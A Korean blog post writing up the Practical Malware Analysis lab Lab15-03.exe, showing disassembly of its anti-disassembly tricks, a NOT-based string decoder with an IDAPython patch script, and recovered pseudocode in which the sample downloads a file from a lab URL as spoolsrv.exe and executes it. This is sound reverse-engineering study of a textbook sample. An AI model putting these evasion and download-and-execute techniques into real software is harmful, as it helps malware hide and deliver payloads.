제리의 블로그

PMA Lab15-03.exe 안티디스어셈블리 본문

카테고리 없음

PMA Lab15-03.exe 안티디스어셈블리

j3rrry 2018. 8. 26. 16:30

Lab15-03.exe

  retaddr = 0x40148C;

main() 함수 .text:0x40100C 를 보면 위와같은 주소가 저장되는 모습을 볼 수 있습니다.




.text:0040148C                 push    ebp
.text:0040148D                 mov     ebp, esp
.text:0040148F                 push    ebx
.text:00401490                 push    esi
.text:00401491                 push    edi
.text:00401492                 xor     eax, eax
.text:00401494                 jz      short near ptr loc_401496+1

그래서 40148C를 확인해보니 xor; jz+1; 형태의 안티디스어셈블리를 확인할 수 있습니다.

악성코드의 주요코드가 숨겨져있을거라고 예상이 됩니다..




40148C의 코드는 call 이나 jmp 명령어로 호출되어 실행되는 것이 아닙니다.

.text:0040100C                 mov     eax, 400000h
.text:00401011                 or      eax, 148Ch
.text:00401016                 mov     [ebp+4], eax

40148C는 함수 에필로그의 ret 명령어에 의해서 실행된다.

.text:004011DD                 mov     esp, ebp
.text:004011DF                 pop     ebp
.text:004011E0                 retn
.text:004011E0 _main           endp







또 숨어있는 문자열이 있다.

URLDownloadToFileA 의 URL 문자열이 숨어져있다.

.text:004014E6                 push    offset unk_403010
.text:004014EB                 call    encode_text
.text:004014F0                 add     esp, 4
.text:004014F3                 push    offset unk_403040
.text:004014F8                 call    encode_text

바로 unk_403010 과 unk_403040이 인코딩된다.

void __cdecl encode_text(char *text)
{
  while ( *text )
  {
    *text = ~*text;
    ++text;
  }
}

encoding 방식은 비트연산으로 not 하는 것이므로 직접 인코딩해주면 됩니다.

def encode_text():
	sea = ScreenEA()
	i = 0
	while True:
		if Byte(sea+i) == 0: break
		PatchByte(sea+i, Byte(sea+i) ^ 0xff)
		i += 1
encode_text()

위에는 IDAPython 코드.

아래는 패치한 모습

.data:00403010 aHttpWww_practi db 'http://www.practicalmalwareanalysis.com/tt.html',0
.data:00403010                                         ; DATA XREF: .text:00401509o
.data:00403040 unk_403040      db    0                 ; DATA XREF: .text:00401504o
.data:00403040                                         ; .text:0040151Co
.data:00403041 aSpoolsrv_exe   db 'spoolsrv.exe',0

unk_403010은 URL로 밝혀졌는데

unk_403040는 옵셋이 1바이트 밀려난 spoolsrv.exe 로 밝혀졌다.

void __noreturn urldown_winExec()
{
  URLDownloadToFileA(0, practicalmalwareanalysis_com_tt_html, CmdLine, 0, 0);
  WinExec(CmdLine, 0);
  ExitProcess(0);
}

오프셋까지 패치해도 되는지 모르겠는데 위와같이 수도코드를 뽑을 수 있습니다.




질문

1. 초기에 악성코드를 어떻게 호출하는가?

[ebp+4] 위치에 악성코드 주소를 넣습니다. [ebp+4]는 함수 종료시 되돌아갈 주소입니다. return address

2. 악성코드가 무슨 동작을 하는가?

URLDownloadToFileA로 파일을 다운받고 WinExec로 실행한다.

3. 악성코드가 사용하는 URL은 무엇인가?

http://www.practicalmalwareanalysis.com/tt.html

4. 악성코드가 사용하는 파일명은 무엇인가?

spoolsrv.exe

Comments